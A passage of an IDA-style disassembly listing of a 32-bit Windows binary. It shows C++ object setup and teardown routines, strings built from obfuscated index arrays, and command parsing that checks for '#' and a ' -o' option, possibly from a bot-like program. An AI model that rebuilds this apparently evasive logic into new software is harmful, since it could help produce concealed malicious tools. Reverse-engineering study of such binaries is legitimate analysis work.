		mov	byte ptr [esp+478h+var_4], 3
		xor	esi, esi
		lea	edi, [esp+478h+var_408]


loc_4035E1:				; CODE XREF: sub_403530+105j
		mov	ebp, [edi]
		test	ebp, ebp
		jz	short loc_403637
		lea	ecx, [esp+478h+var_438]
		call	sub_40168B
		dec	ebp
		push	eax
		lea	ecx, [esp+47Ch+var_420]
		push	ebp
		push	ecx
		lea	ecx, [esp+484h+var_468]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+478h+var_4], 4
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401AAF
		lea	ecx, [esp+478h+var_420]
		mov	byte ptr [esp+478h+var_4], 3
		call	sub_401226
		inc	esi
		add	edi, 4
		cmp	esi, 0FFh
		jb	short loc_4035E1


loc_403637:				; CODE XREF: sub_403530+B5j
		mov	esi, [esp+478h+arg_0]
		lea	edx, [esp+478h+var_450]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+478h+var_46C], 1
		lea	ecx, [esp+478h+var_450]
		mov	byte ptr [esp+478h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+478h+var_438]
		mov	byte ptr [esp+478h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+478h+var_468]
		mov	byte ptr [esp+478h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+478h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 46Ch
		retn
sub_403530	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403700	proc near		; CODE XREF: sub_40168Bj
		mov	eax, [ecx+9]
		retn
sub_403700	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403720	proc near		; CODE XREF: sub_40129Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403720
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+9]
		call	sub_40222A
		lea	ecx, [esi+52h]
		mov	[esp+14h+var_4], 0
		call	sub_40222A
		lea	ecx, [esi+9Bh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40222A
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40222A
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40222A
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40222A
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40222A
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_40222A
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_40222A
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_40222A
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_40222A
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_40222A
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_40222A
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_40222A
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_40222A
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_40222A
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_40222A
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_40222A
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_40222A
		mov	byte ptr [esp+14h+var_4], 12h
		lea	ecx, [esi+574h]
		call	sub_40222A
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_40222A
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_40222A
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_40222A
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_40222A
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_40222A
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_40222A
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_40222A
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_40222A
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_40222A
		lea	ecx, [esi+84Eh]
		mov	byte ptr [esp+14h+var_4], 1Ch
		call	sub_40222A
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_40222A
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_40222A
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_40222A
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_40222A
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_40222A
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_40222A
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_40222A
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_40222A
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_40222A
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_40222A
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401753
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401753
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401753
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401753
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401753
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401753
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401753
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401753
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401753
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401753
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401753
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401753
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401753
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401753
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401753
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401753
		lea	ecx, [esi+0E51h]
		mov	byte ptr [esp+14h+var_4], 37h
		call	sub_401753
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_4011A4
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_4011A4
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_4011A4
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_4011A4
		lea	ecx, [esi+179Fh]
		mov	byte ptr [esp+14h+var_4], 3Ch
		call	sub_4011A4
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F000
		mov	byte ptr [esi+4], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403720	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C50	proc near		; CODE XREF: sub_401023j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C50	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403CC0	proc near		; CODE XREF: sub_4011B3j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F004
		retn
sub_403CC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403CE0	proc near		; CODE XREF: sub_40222Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403CE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+1Eh]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+33h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403CE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D60	proc near		; CODE XREF: sub_401AE6j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+33h]
		mov	[esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+1Eh]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403DE0	proc near		; CODE XREF: sub_401753j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403DE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403DE0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403E50	proc near		; CODE XREF: sub_4011A4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403E50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40222A
		lea	ecx, [esi+49h]
		mov	[esp+14h+var_4], 0
		call	sub_40222A
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40222A
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40222A
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40222A
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40222A
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40222A
		lea	ecx, [esi+1FFh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_40222A
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403E50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403F30	proc near		; CODE XREF: sub_40208Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403F30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+1FFh]
		mov	[esp+14h+var_4], 6
		call	sub_401AE6
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AE6
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AE6
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AE6
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AE6
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401AE6
		lea	ecx, [esi+49h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AE6
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AE6
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403F30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_404010	proc near		; CODE XREF: sub_401D48j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_404010
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebp
		push	esi
		push	edi
		push	0
		push	4
		push	9
		push	4Fh
		lea	eax, [esp+70h+var_3C]
		push	2
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+0C29h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_404010	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4
		push	0Eh
		push	12h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0BCDh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	15h
		push	0Fh
		push	2
		push	1
		push	4Fh
		lea	ecx, [esp+40h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 2
		call	sub_4017EE
		lea	edx, [esi+0C57h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	15h
		push	3
		push	5
		push	13h
		push	4Fh
		lea	eax, [esp+44h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 3
		call	sub_4017EE
		lea	ecx, [esi+0DF5h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	13h
		push	19h
		push	13h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0C85h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	16h
		push	0Fh
		push	0Dh
		push	5
		push	12h
		push	4Fh
		lea	ecx, [esp+44h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 5
		call	sub_4017EE
		lea	edx, [esi+0B71h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		push	4Fh
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 6
		call	sub_4017EE
		lea	ecx, [esi+0DC7h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Eh
		push	5
		push	10h
		push	0Fh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 7
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0D0Fh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	9
		push	15h
		push	11h
		push	4Fh
		lea	ecx, [esp+3Ch]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 8
		call	sub_4017EE
		lea	edx, [esi+0D99h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	4
		push	0Dh
		push	3
		push	4Fh
		lea	eax, [esp+38h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 9
		call	sub_4017EE
		lea	ecx, [esi+0E23h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		lea	edx, [esp+38h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ah
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0D6Bh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	4Fh
		lea	ecx, [esp+38h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Bh
		call	sub_4017EE
		lea	edx, [esi+0D3Dh]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	0Dh
		push	9
		push	14h
		push	10h
		push	15h
		push	0Ch
		push	4Fh
		lea	eax, [esp+48h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ch
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+0CB3h]
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Dh
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0CE1h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		db 8Dh,	4Ch, 24h
		dd 247C8924h, 0CDD0E85Ch, 4E8DFFFFh, 0D390E809h, 4C8DFFFFh
		dd 51500C24h, 0FFDBD7E8h, 6A006AFFh, 6A1D6A25h,	24548D23h
		dd 52286A3Ch, 7C2444C7h, 0Eh, 0FFD53FE8h, 20C483FFh, 4C8DE88Bh
		dd 44C60C24h, 0E80F5C24h, 0FFFFD356h, 0E8CD8B50h, 0FFFFD34Eh
		dd 45F46850h, 75680044h, 0E8004D80h, 0FFFFD974h, 8D10C483h
		dd 0C624244Ch, 0E5C2444h, 0FFCD65E8h, 8D206AFFh, 6A402444h
		dd 4C8D5000h, 0DFE81824h, 8BFFFFCDh, 2444C6C8h,	0FE8105Ch
		dd 50FFFFD3h, 4445F068h, 8E456800h, 3EE8004Eh, 83FFFFCBh
		dd 4C8D0CC4h, 44C63C24h, 0E80E5C24h, 0FFFFCD26h, 3FC6E2E8h
		dd 0C88B9002h, 624DD3B8h, 0C1E1F710h, 4C8D06EAh, 56890C24h
		dd 247C8905h, 0CD04E85Ch, 4C8BFFFFh, 5E5F5424h,	0D89645Dh
		dd 0
; ---------------------------------------------------------------------------
		add	esp, 54h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 150h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404690	proc near		; CODE XREF: sub_401A41j

var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_404690
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 7Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+94h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	ebx, [esi+2Ah]
		push	0
		mov	ecx, ebx
		mov	[esp+9Ch+var_88], ebp
		call	sub_401479
		mov	cl, [eax]
		lea	edi, [esi+69h]
		cmp	cl, 23h
		jnz	short loc_4046D2
		push	ebx
		jmp	short loc_4046D6
; ---------------------------------------------------------------------------


loc_4046D2:				; CODE XREF: sub_404690+3Dj
		lea	eax, [esi+15h]
		push	eax


loc_4046D6:				; CODE XREF: sub_404690+40j
		mov	ecx, edi
		call	sub_401FDC
		mov	al, [esi+94h]
		test	al, al
		jz	short loc_4046F2
		lea	ecx, [esi+15h]
		push	ecx
		mov	ecx, edi
		call	sub_401FDC


loc_4046F2:				; CODE XREF: sub_404690+55j
		mov	al, [esi+95h]
		test	al, al
		jz	short loc_40476F
		lea	ecx, [esp+98h+var_6C]
		call	sub_40142E
		push	offset aO	; " -o"
		mov	ecx, esi
		mov	[esp+9Ch+var_4], 0
		call	sub_4013ED
		add	eax, 3
		lea	edx, [esp+98h+var_54]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E47
		push	eax
		lea	ecx, [esp+9Ch+var_6C]
		mov	byte ptr [esp+9Ch+var_4], 1
		call	sub_401FDC
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], 0
		call	sub_401226
		lea	eax, [esp+98h+var_6C]
		mov	ecx, edi
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226


loc_40476F:				; CODE XREF: sub_404690+6Aj
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_6C]
		push	0
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+98h+var_54]
		mov	ebx, 2
		push	1
		push	edx
		mov	ecx, eax
		mov	[esp+0A0h+var_4], ebx
		call	sub_401E47
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_401FDC
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		lea	ecx, [ebp+32Ch]
		call	sub_401479
		push	0
		mov	ecx, esi
		mov	ebp, eax
		call	sub_401479
		mov	al, [eax]
		mov	cl, [ebp+0]
		cmp	al, cl
		jnz	loc_404A3A
		push	0
		push	14h
		push	1
		push	5
		push	10h
		push	5
		push	12h
		push	4Eh
		push	14h
		push	0Fh
		lea	ecx, [esp+0C0h+var_54]
		push	ebx
		push	ecx
		call	sub_4019C4
		add	esp, 30h
		mov	ecx, eax
		mov	[esp+98h+var_4], 4
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40485F
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0B0h+arg_0], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		test	eax, eax
		jz	short loc_40485F
		mov	bl, 1
		jmp	short loc_404861
; ---------------------------------------------------------------------------


loc_40485F:				; CODE XREF: sub_404690+1A6j
					; sub_404690+1C9j
		xor	bl, bl


loc_404861:				; CODE XREF: sub_404690+1CDj
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_404A1E
		push	offset asc_444600 ; " "
		lea	eax, [esp+9Ch+var_54]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+9Ch+var_4], 5
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	loc_404A3A
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+var_4], 6
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+98h+var_54]
		mov	ebp, eax
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	loc_404A3A
		push	20h
		mov	ecx, esi
		call	sub_401D34
		lea	edx, [esp+98h+var_84]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E47
		mov	ebx, 7
		push	20h
		lea	ecx, [esp+9Ch+var_84]
		mov	[esp+9Ch+var_4], ebx
		call	sub_401D34
		push	eax
		lea	eax, [esp+9Ch+var_54]
		push	eax
		lea	ecx, [esp+0A0h+var_84]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		mov	byte ptr [esp+9Ch+var_4], 8
		call	sub_40202C
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_84]
		push	ecx
		mov	ecx, esi
		call	sub_401FDC
		push	offset asc_444600 ; " "
		lea	edx, [esp+9Ch+var_24]
		push	0
		push	edx
		mov	ecx, esi
		call	sub_4016B8
